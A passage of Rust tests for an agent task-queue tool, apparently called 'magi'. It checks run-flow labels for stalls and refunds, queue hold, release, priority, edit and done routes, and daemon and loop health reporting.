9098 fn flow_quota_stall_is_refunded_and_never_decided_then_resumes() {
9099 let quota = || {
9100 flow_run(RunStatus::Stalled, |s| {
9101 s.quota.push(crate::run::QuotaLoss {
9102 seat: "judge-1".to_owned(),
9103 node: "judge".to_owned(),
9104 at: Timestamp::now(),
9105 reset: None,
9106 })
9107 })
9108 };
9109 let mut t = flow_task(&[FA, FA]);
9110 t.status = TaskStatus::Queued;
9111 let f = flow_for(&t, &[(FA, Some(quota()))]);
9112 assert_eq!(f.nodes.len(), 4, "a repeated id is one node per pass");
9113 assert_eq!(f.nodes[1].note, Some("interrupted"));
9114 assert_eq!(
9115 f.nodes[1].status, None,
9116 "no outcome copied onto an earlier pass"
9117 );
9118 assert_eq!(
9119 f.edges[1].attempt,
9120 AttemptCost::Unknown,
9121 "a resume does not prove the earlier pass was refunded"
9122 );
9123 assert!(f.edges[1].label.contains("resume the same run"));
9124 assert_eq!(f.edges[2].attempt, AttemptCost::Unknown);
9125 assert_eq!(
9126 f.edges[2].label,
9127 "stalled after a resume, refund unknown \u{2192} queued"
9128 );
9129 assert!(!f.nodes[2].decided, "a stall is not a decision");
9130 assert_eq!(f.nodes[2].note, Some("no verdict"));
9131 }
9132
9133 #[test]
9134 fn flow_single_pass_quota_stall_is_refunded() {
9135 let t = flow_task(&[FA]);
9136 let f = flow_for(
9137 &t,
9138 &[(
9139 FA,
9140 Some(flow_run(RunStatus::Stalled, |s| {
9141 s.quota.push(crate::run::QuotaLoss {
9142 seat: "judge-1".to_owned(),
9143 node: "judge".to_owned(),
9144 at: Timestamp::now(),
9145 reset: None,
9146 })
9147 })),
9148 )],
9149 );
9150 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
9151 }
9152
9153 #[test]
9154 fn flow_parked_refunds_and_stall_without_quota_spends() {
9155 let mut t = flow_task(&[FA]);
9156 t.status = TaskStatus::Queued;
9157 let f = flow_for(
9158 &t,
9159 &[(
9160 FA,
9161 Some(flow_run(RunStatus::Implementing, |s| s.parked = true)),
9162 )],
9163 );
9164 assert_eq!(f.edges[1].label, "parked, attempt refunded \u{2192} queued");
9165 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
9166 let f = flow_for(&t, &[(FA, Some(flow_run(RunStatus::Stalled, |_| {})))]);
9167 assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
9168 assert!(!f.nodes[1].decided);
9169 }
9170
9171 #[test]
9172 fn flow_keeps_an_unreadable_run_as_its_own_node() {
9173 let t = flow_task(&[FA, FB]);
9174 let f = flow_for(&t, &[(FB, Some(flow_run(RunStatus::Blocked, |_| {})))]);
9175 assert_eq!(f.nodes[1].note, Some("unreadable"));
9176 assert!(!f.nodes[1].readable);
9177 assert_eq!(f.nodes[1].run_kind, Some("unknown"));
9178 assert_eq!(f.edges[1].attempt, AttemptCost::Unknown);
9179 }
9180
9181 #[test]
9182 fn flow_names_the_branch_of_a_review_only_run() {
9183 let t = flow_task(&[FA]);
9184 let f = flow_for(
9185 &t,
9186 &[(
9187 FA,
9188 Some(flow_run(RunStatus::Merged, |s| {
9189 s.instruction = "Review the work already on branch `magi/x/A`. Go.".to_owned()
9190 })),
9191 )],
9192 );
9193 assert_eq!(f.edges[0].label, "review-only run of branch magi/x/A");
9194 assert_eq!(
9195 f.nodes[1].detail.as_deref(),
9196 Some("review-only run of branch magi/x/A")
9197 );
9198 }
9199
9200 #[test]
9201 fn flow_ends_held_with_the_pr_left_open_and_flags_hand_edits() {
9202 let mut t = flow_task(&[FA]);
9203 t.status = TaskStatus::Held;
9204 let pr = crate::run::PrRecord {
9205 url: "https://example.test/pr/1".to_owned(),
9206 number: 1,
9207 state: "open".to_owned(),
9208 checks: "green".to_owned(),
9209 round: 0,
9210 rounds: 3,
9211 red_at_merge: Vec::new(),
9212 };
9213 let blocked = flow_run(RunStatus::Blocked, |s| s.pr = Some(pr));
9214 let f = flow_for(&t, &[(FA, Some(blocked.clone()))]);
9215 assert_eq!(f.edges[1].label, "blocked, PR left open \u{2192} held");
9216 t.status = TaskStatus::Done;
9217 let f = flow_for(&t, &[(FA, Some(blocked))]);
9218 assert_eq!(f.edges[1].label, "closed by hand: task is done");
9219 }
9220
9221 #[test]
9222 fn flow_with_no_runs_goes_from_queued_to_queued() {
9223 let t = flow_task(&[]);
9224 let f = flow_for(&t, &[]);
9225 assert_eq!(f.nodes.len(), 2);
9226 assert_eq!(f.edges.len(), 1);
9227 assert_eq!(f.edges[0].label, "no run yet \u{2192} queued");
9228 assert_eq!(f.edges[0].attempt, AttemptCost::None);
9229 }
9230
9231 #[test]
9234 fn a_parked_non_terminal_run_is_explained_as_parked() {
9235 let mut s = RunState::new(
9236 PathBuf::from("/repo/magi"),
9237 "main".to_owned(),
9238 "0123456789abcdef".to_owned(),
9239 "Do it".to_owned(),
9240 Config::default(),
9241 );
9242 s.status = RunStatus::Implementing;
9243 s.parked = true;
9244 let task = Task::new(
9245 "t".to_owned(),
9246 "Do it".to_owned(),
9247 PathBuf::from("/repo/magi"),
9248 Source::Human,
9249 );
9250 let v = task_run_view(
9251 "20260902-140501-aaaa",
9252 Some(&s),
9253 RunSlot {
9254 n: 1,
9255 resumed: false,
9256 resumed_later: None,
9257 prior: None,
9258 last: true,
9259 },
9260 &task,
9261 );
9262 assert!(v.outcome.contains("Parked"), "{}", v.outcome);
9263 }
9264
9265 fn earlier_pass_view(edit: impl FnOnce(&mut RunState)) -> TaskRunView {
9266 let mut s = flow_run(RunStatus::Implementing, edit);
9267 s.parked = false;
9268 let task = flow_task(&["20260902-140501-aaaa", "20260902-140501-aaaa"]);
9269 task_run_view(
9270 "20260902-140501-aaaa",
9271 Some(&s),
9272 RunSlot {
9273 n: 1,
9274 resumed: false,
9275 resumed_later: Some(2),
9276 prior: None,
9277 last: false,
9278 },
9279 &task,
9280 )
9281 }
9282
9283 #[test]
9284 fn an_earlier_pass_with_no_recorded_cause_is_unknown_not_parked() {
9285 let v = earlier_pass_view(|_| {});
9286 assert!(v.outcome.contains("not recorded"), "{}", v.outcome);
9287 assert!(v.outcome.contains("unknown"), "{}", v.outcome);
9288 assert!(!v.outcome.contains("parked it"), "{}", v.outcome);
9289 assert!(!v.outcome.contains("handed back."), "{}", v.outcome);
9290 assert_eq!(v.exit, RunExit::Interrupted);
9291 assert_eq!(v.attempt, AttemptCost::Unknown);
9292 }
9293
9294 #[test]
9295 fn an_earlier_pass_with_a_recorded_rate_limit_does_not_claim_it_as_the_cause() {
9296 let v = earlier_pass_view(|s| {
9297 s.quota.push(crate::run::QuotaLoss {
9298 seat: "judge-1".to_owned(),
9299 node: "judge".to_owned(),
9300 at: Timestamp::now(),
9301 reset: None,
9302 });
9303 });
9304 assert!(v.outcome.contains("may or may not"), "{}", v.outcome);
9305 assert!(v.outcome.contains("unknown"), "{}", v.outcome);
9306 assert_eq!(v.attempt, AttemptCost::Unknown);
9307 }
9308
9309 #[test]
9310 fn the_current_pass_states_its_recorded_cause_and_cost() {
9311 let slot = || RunSlot {
9312 n: 1,
9313 resumed: false,
9314 resumed_later: None,
9315 prior: None,
9316 last: true,
9317 };
9318 let task = flow_task(&["20260902-140501-aaaa"]);
9319 let parked = flow_run(RunStatus::Implementing, |s| s.parked = true);
9320 let v = task_run_view("20260902-140501-aaaa", Some(&parked), slot(), &task);
9321 assert_eq!(
9322 (v.exit, v.attempt),
9323 (RunExit::Parked, AttemptCost::Refunded)
9324 );
9325 let spent = flow_run(RunStatus::Blocked, |_| {});
9326 let v = task_run_view("20260902-140501-aaaa", Some(&spent), slot(), &task);
9327 assert_eq!(v.attempt, AttemptCost::Spent);
9328 assert!(v.outcome.contains("spent an attempt"), "{}", v.outcome);
9329 }
9330
9331 #[tokio::test]
9332 async fn holding_then_releasing_returns_a_task_to_the_loop_with_a_fresh_budget() {
9333 let f = Fixture::start().await;
9334 let queue = f.queue();
9335 let mut task = Task::new(
9336 "spent".to_owned(),
9337 "Try again".to_owned(),
9338 PathBuf::from("/repo/magi"),
9339 Source::Human,
9340 );
9341 task.start("20260902-140502-bbbb".to_owned());
9342 task.fail("agent gave up", 9);
9343 queue.put(&mut task).expect("file the task");
9344
9345 let held = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
9346 assert_eq!(held.status, 200);
9347 assert_eq!(held.json()["status_str"], "held");
9348
9349 let released = f
9350 .post(&format!("/api/queue/{}/release", task.id), None)
9351 .await;
9352 assert_eq!(released.status, 200);
9353 assert_eq!(released.json()["status_str"], "queued");
9354 assert_eq!(
9355 released.json()["attempts"],
9356 0,
9357 "release is a real second chance, not an instant re-hold"
9358 );
9359 assert_eq!(
9360 queue.get(&task.id).expect("reload").status,
9361 TaskStatus::Queued,
9362 "the change is on disk, not only in the reply"
9363 );
9364 assert!(
9365 !f.home
9366 .path()
9367 .join("queue")
9368 .join(format!("{}.lock", task.id))
9369 .exists(),
9370 "the claim the mutation took is released again"
9371 );
9372 }
9373
9374 #[tokio::test]
9375 async fn a_task_a_daemon_is_running_cannot_be_changed_from_the_phone() {
9376 let f = Fixture::start().await;
9377 let queue = f.queue();
9378 let mut task = Task::new(
9379 "busy".to_owned(),
9380 "Running right now".to_owned(),
9381 PathBuf::from("/repo/magi"),
9382 Source::Human,
9383 );
9384 queue.put(&mut task).expect("file the task");
9385 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
9386
9387 let res = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
9388
9389 assert_eq!(res.status, 409);
9390 assert_eq!(
9391 queue.get(&task.id).expect("reload").status,
9392 TaskStatus::Queued,
9393 "the refused hold changed nothing"
9394 );
9395 }
9396
9397 #[tokio::test]
9398 async fn holding_with_a_reason_reads_back_from_show_and_the_card_and_release_clears_it() {
9399 let f = Fixture::start().await;
9400 let queue = f.queue();
9401 let mut task = Task::new(
9402 "waiting on the migration".to_owned(),
9403 "Do the thing".to_owned(),
9404 PathBuf::from("/repo/magi"),
9405 Source::Human,
9406 );
9407 queue.put(&mut task).expect("file the task");
9408
9409 let held = f
9410 .post(
9411 &format!("/api/queue/{}/hold", task.id),
9412 Some(r#"{"reason":"waiting for 20260101-000000-aaaa to land"}"#),
9413 )
9414 .await;
9415 assert_eq!(held.status, 200, "{}", held.body);
9416 assert_eq!(held.json()["status_str"], "held");
9417 assert_eq!(
9418 held.json()["hold_reason"],
9419 "waiting for 20260101-000000-aaaa to land"
9420 );
9421
9422 let listed = f.get("/api/queue").await.json();
9423 assert_eq!(
9424 listed[0]["hold_reason"], "waiting for 20260101-000000-aaaa to land",
9425 "the card reads the reason off the same list route"
9426 );
9427
9428 let mut plain = Task::new(
9431 "no reason given".to_owned(),
9432 "Do another thing".to_owned(),
9433 PathBuf::from("/repo/magi"),
9434 Source::Human,
9435 );
9436 queue.put(&mut plain).expect("file the task");
9437 let held_plain = f.post(&format!("/api/queue/{}/hold", plain.id), None).await;
9438 assert_eq!(held_plain.status, 200, "{}", held_plain.body);
9439 assert!(held_plain.json()["hold_reason"].is_null());
9440
9441 let released = f
9442 .post(&format!("/api/queue/{}/release", task.id), None)
9443 .await;
9444 assert_eq!(released.status, 200);
9445 assert!(
9446 released.json()["hold_reason"].is_null(),
9447 "a release must clear the reason so the next hold does not inherit it"
9448 );
9449 }
9450
9451 #[tokio::test]
9452 async fn priority_can_be_raised_from_the_phone_and_moves_the_task_ahead() {
9453 let f = Fixture::start().await;
9454 let queue = f.queue();
9455 let mut older = Task::new(
9456 "filed first".to_owned(),
9457 "x".to_owned(),
9458 PathBuf::from("/repo/magi"),
9459 Source::Human,
9460 );
9461 older.id = "20260101-000001-aaaa".to_owned();
9462 let mut newer = Task::new(
9463 "filed second".to_owned(),
9464 "x".to_owned(),
9465 PathBuf::from("/repo/magi"),
9466 Source::Human,
9467 );
9468 newer.id = "20260101-000002-bbbb".to_owned();
9469 queue.put(&mut older).expect("file older");
9470 queue.put(&mut newer).expect("file newer");
9471
9472 let before = f.get("/api/queue").await.json();
9475 assert_eq!(before[0]["id"], newer.id);
9476 assert_eq!(before[1]["id"], older.id);
9477
9478 let raised = f
9482 .post(
9483 &format!("/api/queue/{}/priority", older.id),
9484 Some(r#"{"priority":10}"#),
9485 )
9486 .await;
9487 assert_eq!(raised.status, 200, "{}", raised.body);
9488 assert_eq!(raised.json()["priority"], 10);
9489
9490 let after = f.get("/api/queue").await.json();
9491 let names: Vec<&str> = after
9492 .as_array()
9493 .unwrap()
9494 .iter()
9495 .map(|t| t["id"].as_str().unwrap())
9496 .collect();
9497 assert_eq!(names[0], older.id, "the raised task now sorts first");
9501 }
9502
9503 #[tokio::test]
9504 async fn priority_is_refused_on_a_running_task_with_a_reason_in_the_body() {
9505 let f = Fixture::start().await;
9506 let queue = f.queue();
9507 let mut task = Task::new(
9508 "in flight".to_owned(),
9509 "x".to_owned(),
9510 PathBuf::from("/repo/magi"),
9511 Source::Human,
9512 );
9513 task.start("20260902-140502-bbbb".to_owned());
9514 queue.put(&mut task).expect("file the task");
9515
9516 let res = f
9517 .post(
9518 &format!("/api/queue/{}/priority", task.id),
9519 Some(r#"{"priority":9}"#),
9520 )
9521 .await;
9522 assert_eq!(res.status, 400, "{}", res.body);
9523 assert!(
9524 res.json()["error"]
9525 .as_str()
9526 .is_some_and(|e| e.contains("running")),
9527 "{}",
9528 res.body
9529 );
9530 assert_eq!(
9531 queue.get(&task.id).expect("reload").priority,
9532 0,
9533 "the refused write must not partially apply"
9534 );
9535 }
9536
9537 #[tokio::test]
9538 async fn editing_replaces_title_and_instruction_and_keeps_id_created_at_source_and_runs() {
9539 let f = Fixture::start().await;
9540 let queue = f.queue();
9541 let mut task = Task::new(
9542 "old title".to_owned(),
9543 "old instruction".to_owned(),
9544 PathBuf::from("/repo/magi"),
9545 Source::Agent {
9546 run: "20260101-000000-beef".to_owned(),
9547 node: "implement".to_owned(),
9548 },
9549 );
9550 task.runs.push("20260101-000000-beef".to_owned());
9551 queue.put(&mut task).expect("file the task");
9552 let created_at = task.created_at;
9553
9554 let edited = f
9555 .post(
9556 &format!("/api/queue/{}/edit", task.id),
9557 Some(r#"{"title":"new title","instruction":"new instruction"}"#),
9558 )
9559 .await;
9560 assert_eq!(edited.status, 200, "{}", edited.body);
9561 let body = edited.json();
9562 assert_eq!(body["title"], "new title");
9563 assert_eq!(body["instruction"], "new instruction");
9564 assert_eq!(body["id"], task.id, "editing must not mint a new id");
9565 assert_eq!(body["created_at"], created_at.to_string());
9566 assert_eq!(
9567 body["source"]["kind"], "agent",
9568 "editing a task an agent filed must not turn it human: {body}"
9569 );
9570 assert_eq!(body["runs"], serde_json::json!(["20260101-000000-beef"]));
9571
9572 let reloaded = queue.get(&task.id).expect("reload");
9573 assert_eq!(reloaded.title, "new title");
9574 assert_eq!(reloaded.instruction, "new instruction");
9575 }
9576
9577 #[tokio::test]
9578 async fn editing_in_a_duplicate_is_a_409_naming_the_match_until_forced() {
9579 let f = Fixture::start().await;
9580 let queue = f.queue();
9581 let mut owner = Task::new(
9582 "owner".to_owned(),
9583 "review it".to_owned(),
9584 PathBuf::from("/repo/magi"),
9585 Source::Human,
9586 );
9587 owner.review_branch = Some("magi/ab12/A".to_owned());
9588 queue.put(&mut owner).expect("file the owner");
9589 let mut task = Task::new(
9590 "draft".to_owned(),
9591 "old".to_owned(),
9592 PathBuf::from("/repo/magi"),
9593 Source::Human,
9594 );
9595 queue.put(&mut task).expect("file the draft");
9596 let url = format!("/api/queue/{}/edit", task.id);
9597
9598 let refused = f
9599 .post(
9600 &url,
9601 Some(r#"{"title":"t","instruction":"land magi/ab12/A"}"#),
9602 )
9603 .await;
9604 assert_eq!(refused.status, 409, "{}", refused.body);
9605 let msg = refused.json()["error"]
9606 .as_str()
9607 .unwrap_or_default()
9608 .to_owned();
9609 assert!(
9610 msg.contains("magi/ab12/A") && msg.contains("force"),
9611 "{msg}"
9612 );
9613 assert_eq!(queue.get(&task.id).expect("reload").instruction, "old");
9614
9615 let forced = f
9616 .post(
9617 &url,
9618 Some(r#"{"title":"t","instruction":"land magi/ab12/A","force":true}"#),
9619 )
9620 .await;
9621 assert_eq!(forced.status, 200, "{}", forced.body);
9622 }
9623
9624 #[tokio::test]
9625 async fn editing_a_running_task_is_refused_with_a_reason_in_the_response() {
9626 let f = Fixture::start().await;
9627 let queue = f.queue();
9628 let mut task = Task::new(
9629 "in flight".to_owned(),
9630 "do not touch".to_owned(),
9631 PathBuf::from("/repo/magi"),
9632 Source::Human,
9633 );
9634 task.start("20260902-140502-bbbb".to_owned());
9635 queue.put(&mut task).expect("file the task");
9636
9637 let res = f
9638 .post(
9639 &format!("/api/queue/{}/edit", task.id),
9640 Some(r#"{"title":"x","instruction":"y"}"#),
9641 )
9642 .await;
9643 assert_eq!(res.status, 400, "{}", res.body);
9644 assert!(
9645 res.json()["error"]
9646 .as_str()
9647 .is_some_and(|e| e.contains("running")),
9648 "{}",
9649 res.body
9650 );
9651 assert_eq!(
9652 queue.get(&task.id).expect("reload").instruction,
9653 "do not touch",
9654 "the refused edit must not change the file"
9655 );
9656 }
9657
9658 #[tokio::test]
9659 async fn a_claimed_task_refuses_priority_and_edit_the_same_way_it_refuses_hold() {
9660 let f = Fixture::start().await;
9661 let queue = f.queue();
9662 let mut task = Task::new(
9663 "busy".to_owned(),
9664 "Running right now".to_owned(),
9665 PathBuf::from("/repo/magi"),
9666 Source::Human,
9667 );
9668 queue.put(&mut task).expect("file the task");
9669 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
9670
9671 let priority = f
9672 .post(
9673 &format!("/api/queue/{}/priority", task.id),
9674 Some(r#"{"priority":9}"#),
9675 )
9676 .await;
9677 assert_eq!(priority.status, 409, "{}", priority.body);
9678
9679 let edit = f
9680 .post(
9681 &format!("/api/queue/{}/edit", task.id),
9682 Some(r#"{"title":"x","instruction":"y"}"#),
9683 )
9684 .await;
9685 assert_eq!(edit.status, 409, "{}", edit.body);
9686 }
9687
9688 #[tokio::test]
9689 async fn done_from_the_phone_keeps_runs_source_and_created_at_unlike_delete() {
9690 let f = Fixture::start().await;
9691 let queue = f.queue();
9692 let mut task = Task::new(
9693 "shipped by hand".to_owned(),
9694 "merged outside the loop".to_owned(),
9695 PathBuf::from("/repo/magi"),
9696 Source::Agent {
9697 run: "20260101-000000-b455".to_owned(),
9698 node: "implement".to_owned(),
9699 },
9700 );
9701 task.runs.push("20260101-000000-b455".to_owned());
9702 task.runs.push("20260101-000000-9af4".to_owned());
9703 queue.put(&mut task).expect("file the task");
9704 let created_at = task.created_at;
9705
9706 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
9707 assert_eq!(done.status, 200, "{}", done.body);
9708 assert_eq!(done.json()["status_str"], "done");
9709
9710 let reloaded = queue.get(&task.id).expect("a done task is still on disk");
9711 assert_eq!(
9712 reloaded.runs,
9713 ["20260101-000000-b455", "20260101-000000-9af4"]
9714 );
9715 assert_eq!(
9716 reloaded.source,
9717 Source::Agent {
9718 run: "20260101-000000-b455".to_owned(),
9719 node: "implement".to_owned(),
9720 }
9721 );
9722 assert_eq!(reloaded.created_at, created_at);
9723 }
9724
9725 #[tokio::test]
9726 async fn closing_a_held_task_as_done_from_the_phone_clears_its_hold_reason() {
9727 let f = Fixture::start().await;
9732 let queue = f.queue();
9733 let mut task = Task::new(
9734 "landed while held".to_owned(),
9735 "x".to_owned(),
9736 PathBuf::from("/repo/magi"),
9737 Source::Human,
9738 );
9739 task.hold_manual(Some("waiting on 3ed9".to_owned()));
9740 queue.put(&mut task).expect("file the held task");
9741
9742 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
9743 assert_eq!(done.status, 200, "{}", done.body);
9744 assert_eq!(done.json()["status_str"], "done");
9745 assert!(
9746 done.json()["hold_reason"].is_null(),
9747 "a done task cannot still be waiting on something: {}",
9748 done.body
9749 );
9750 }
9751
9752 #[tokio::test]
9753 async fn done_from_the_phone_supersedes_an_earlier_blocked_attempt() {
9754 let f = Fixture::start().await;
9759 let queue = f.queue();
9760 let runs = f.runs();
9761 write_run(&runs, "20260101-000000-doa1", RunStatus::Blocked);
9762 write_run(&runs, "20260101-000000-doa2", RunStatus::Merged);
9766
9767 let mut task = Task::new(
9768 "landed by hand".to_owned(),
9769 "x".to_owned(),
9770 PathBuf::from("/repo/magi"),
9771 Source::Human,
9772 );
9773 task.runs.push("20260101-000000-doa1".to_owned());
9774 task.runs.push("20260101-000000-doa2".to_owned());
9775 queue.put(&mut task).expect("file the task");
9776
9777 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
9778 assert_eq!(done.status, 200, "{}", done.body);
9779
9780 let reloaded_run = read_run(&runs, "20260101-000000-doa1")
9781 .expect("run still on disk under this fixture's own home");
9782 assert_eq!(
9783 reloaded_run.status,
9784 RunStatus::Superseded,
9785 "closing the task by hand must relabel the earlier blocked attempt exactly \
9786 like the loop's own settle path does"
9787 );
9788 }
9789
9790 #[tokio::test]
9791 async fn done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed() {
9792 let f = Fixture::start().await;
9797 let queue = f.queue();
9798 let runs = f.runs();
9799 write_run(&runs, "20260101-000000-dob1", RunStatus::Blocked);
9800 write_run(&runs, "20260101-000000-dob2", RunStatus::Failed);
9801
9802 let mut task = Task::new(
9803 "closed with nothing actually landed".to_owned(),
9804 "x".to_owned(),
9805 PathBuf::from("/repo/magi"),
9806 Source::Human,
9807 );
9808 task.runs.push("20260101-000000-dob1".to_owned());
9809 task.runs.push("20260101-000000-dob2".to_owned());
9810 queue.put(&mut task).expect("file the task");
9811
9812 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
9813 assert_eq!(done.status, 200, "{}", done.body);
9814
9815 let reloaded_run = read_run(&runs, "20260101-000000-dob1")
9816 .expect("run still on disk under this fixture's own home");
9817 assert_eq!(
9818 reloaded_run.status,
9819 RunStatus::Blocked,
9820 "the last recorded attempt never landed, so the earlier one must not be \
9821 relabelled as superseded by it"
9822 );
9823 }
9824
9825 #[tokio::test]
9826 async fn unknown_ids_are_json_not_found_on_both_stores() {
9827 let f = Fixture::start().await;
9828
9829 let run = f.get("/api/runs/nosuchrun").await;
9830 let task = f.post("/api/queue/nosuchtask/hold", None).await;
9831
9832 assert_eq!(run.status, 404);
9833 assert_eq!(task.status, 404);
9834 assert!(
9835 run.json()["error"]
9836 .as_str()
9837 .is_some_and(|e| e.contains("run")),
9838 "the error names what was not found: {}",
9839 run.body
9840 );
9841 assert!(
9842 task.json()["error"]
9843 .as_str()
9844 .is_some_and(|e| e.contains("task")),
9845 "the error names what was not found: {}",
9846 task.body
9847 );
9848 }
9849
9850 #[tokio::test]
9851 async fn the_daemon_counts_as_running_only_while_its_heartbeat_is_fresh() {
9852 let f = Fixture::start().await;
9853
9854 let missing = f.get("/api/health").await.json();
9855 assert_eq!(missing["daemon"]["running"], false, "no file, no daemon");
9856
9857 write_daemon(
9858 f.home.path(),
9859 Timestamp::now() - jiff::SignedDuration::from_secs(60),
9860 );
9861 let stale = f.get("/api/health").await.json();
9862 assert_eq!(
9863 stale["daemon"]["running"], false,
9864 "a minute without a heartbeat is a dead daemon, not a busy one"
9865 );
9866 assert!(
9867 stale["daemon"]["stale_for_secs"]
9868 .as_i64()
9869 .is_some_and(|s| s >= 55),
9870 "staleness is reported so the UI can say how long: {stale}"
9871 );
9872
9873 write_daemon(f.home.path(), Timestamp::now());
9874 let fresh = f.get("/api/health").await.json();
9875 assert_eq!(fresh["daemon"]["running"], true);
9876 assert_eq!(fresh["daemon"]["idle"], false);
9877 assert_eq!(fresh["daemon"]["pid"], 4242);
9878 assert_eq!(fresh["daemon"]["completed"], 7);
9879 assert_eq!(
9880 fresh["daemon"]["current"][0]["task"],
9881 "20260902-140501-aaaa"
9882 );
9883 assert_eq!(fresh["version"], env!("CARGO_PKG_VERSION"));
9884 }
9885
9886 #[tokio::test]
9887 async fn the_loop_is_not_running_until_something_starts_it() {
9888 let f = Fixture::start().await;
9889
9890 let view = f.get("/api/loop").await.json();
9891 assert_eq!(view["running"], false);
9892 assert_eq!(
9893 view["owned"], false,
9894 "nobody owns a loop that does not exist: {view}"
9895 );
9896 assert_eq!(view["stopping"], false);
9897 assert_eq!(view["last_error"], Value::Null);
9898 assert_eq!(view["daemon"]["running"], false);
9899 assert_eq!(
9900 view["repo"], "/repo/magi",
9901 "the repository a start would use, named before it is started"
9902 );
9903 }
9904
9905 #[tokio::test]
9906 async fn starting_the_loop_runs_it_in_this_process_and_health_says_the_same() {
9907 let f = Fixture::start().await;
9908
9909 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
9910 assert_eq!(res.status, 200, "{}", res.body);
9911 let view = res.json();
9912 assert_eq!(view["running"], true);
9913 assert_eq!(
9914 view["owned"], true,
9915 "the loop the UI started is the UI's own to stop: {view}"
9916 );
9917 assert_eq!(
9918 view["merge"],
9919 Value::Null,
9920 "no override was given, so each repository's own config decides"
9921 );
9922
9923 let health = f.get("/api/health").await.json();
9927 assert_eq!(health["loop"]["running"], true, "{health}");
9928 assert_eq!(health["loop"]["owned"], true, "{health}");
9929
9930 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
9931 }
9932
9933 #[tokio::test]
9934 async fn a_second_start_is_refused_rather_than_racing_the_first_for_claims() {
9935 let f = Fixture::start().await;
9936 let first = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
9937 assert_eq!(first.status, 200, "{}", first.body);
9938
9939 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
9940 assert_eq!(
9941 again.status, 409,
9942 "two loops on one queue race for the same claims: {}",
9943 again.body
9944 );
9945 assert!(
9946 again.json()["error"]
9947 .as_str()
9948 .is_some_and(|e| e.contains("already running the loop")),
9949 "the refusal has to say why: {}",
9950 again.body
9951 );
9952 assert_eq!(
9953 f.get("/api/loop").await.json()["running"],
9954 true,
9955 "and the loop that was already running is untouched by it"
9956 );
9957
9958 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
9959 }
9960
9961 #[tokio::test]
9962 async fn stopping_answers_at_once_and_the_loop_settles_stopped() {
9963 let f = Fixture::start().await;
9964 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
9965
9966 let res = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
9967 assert_eq!(
9968 res.status, 200,
9969 "the answer must not wait for the loop: a run in flight is tens of \
9970 minutes and the operator is holding a phone: {}",
9971 res.body
9972 );
9973
9974 let view = settled(&f, |v| v["running"] == false).await;
9975 assert_eq!(view["owned"], false);
9976 assert_eq!(
9977 view["stopping"], false,
9978 "a loop that has stopped is not still stopping: {view}"
9979 );
9980 assert_eq!(
9981 view["last_error"],
9982 Value::Null,
9983 "a loop that was asked to stop did not fail: {view}"
9984 );
9985
9986 let twice = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
9989 assert_eq!(twice.status, 200, "{}", twice.body);
9990 }
9991
9992 #[tokio::test]
9993 async fn a_loop_another_process_owns_can_be_neither_started_nor_stopped_here() {
9994 let f = Fixture::start().await;
9995 write_daemon(f.home.path(), Timestamp::now());
9998
9999 let view = f.get("/api/loop").await.json();
10000 assert_eq!(view["running"], false, "not in this process: {view}");
10001 assert_eq!(view["owned"], false, "and not this process's to control");
10002 assert_eq!(
10003 view["daemon"]["running"], true,
10004 "but a loop is alive somewhere, which is what the UI must say"
10005 );
10006 assert_eq!(view["daemon"]["pid"], 4242);
10007
10008 for body in [r#"{"running":true}"#, r#"{"running":false}"#] {
10009 let res = f.post("/api/loop", Some(body)).await;
10010 assert_eq!(
10011 res.status, 409,
10012 "neither button may pretend to work on someone else's loop: {}",
10013 res.body
10014 );
10015 assert!(
10016 res.json()["error"]
10017 .as_str()
10018 .is_some_and(|e| e.contains("4242")),
10019 "the refusal has to name the process the operator must go to: {}",
10020 res.body
10021 );
10022 }
10023 assert_eq!(
10024 f.get("/api/loop").await.json()["running"],
10025 false,
10026 "and the refusal started nothing"
10027 );
10028 }
10029
10030 #[tokio::test]
10031 async fn a_stale_status_file_is_not_a_foreign_owner() {
10032 let f = Fixture::start().await;
10033 write_daemon(
10034 f.home.path(),
10035 Timestamp::now() - jiff::SignedDuration::from_secs(60),
10036 );
10037
10038 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
10039 assert_eq!(
10040 res.status, 200,
10041 "a daemon killed a minute ago must not lock the loop out of its \
10042 own home for good: {}",
10043 res.body
10044 );
10045 assert_eq!(res.json()["running"], true);
10046
10047 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
10048 }
10049
10050 #[tokio::test]
10051 async fn loop_rev_moves_on_a_start_so_a_phone_learns_without_polling() {
10052 let f = Fixture::start().await;
10053 let before = f.get("/api/health").await.json()["loop_rev"]
10054 .as_u64()
10055 .expect("a loop revision");
10056
10057 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
10058
10059 let after = f.get("/api/health").await.json()["loop_rev"]
10060 .as_u64()
10061 .expect("a loop revision");
10062 assert!(
10063 after > before,
10064 "the loop is in-process state, so this counter is the only thing \
10065 that tells a second device the first one started it: {before} -> \
10066 {after}"
10067 );
10068
10069 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
10070 }
10071
10072 #[tokio::test]
10073 async fn a_loop_that_failed_says_why_and_does_not_read_as_running() {
10074 let f = Fixture::with_loop(launch_broken).await;
10075
10076 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
10077 assert_eq!(
10078 res.status, 200,
10079 "starting it is not the failure: {}",
10080 res.body
10081 );
10082
10083 let view = settled(&f, |v| v["last_error"].is_string()).await;
10084 assert_eq!(
10085 view["running"], false,
10086 "a loop that died must not read as running, or the operator has \
10087 nothing to press: {view}"
10088 );
10089 assert_eq!(view["owned"], false);
10090 assert!(
10091 view["last_error"]
10092 .as_str()
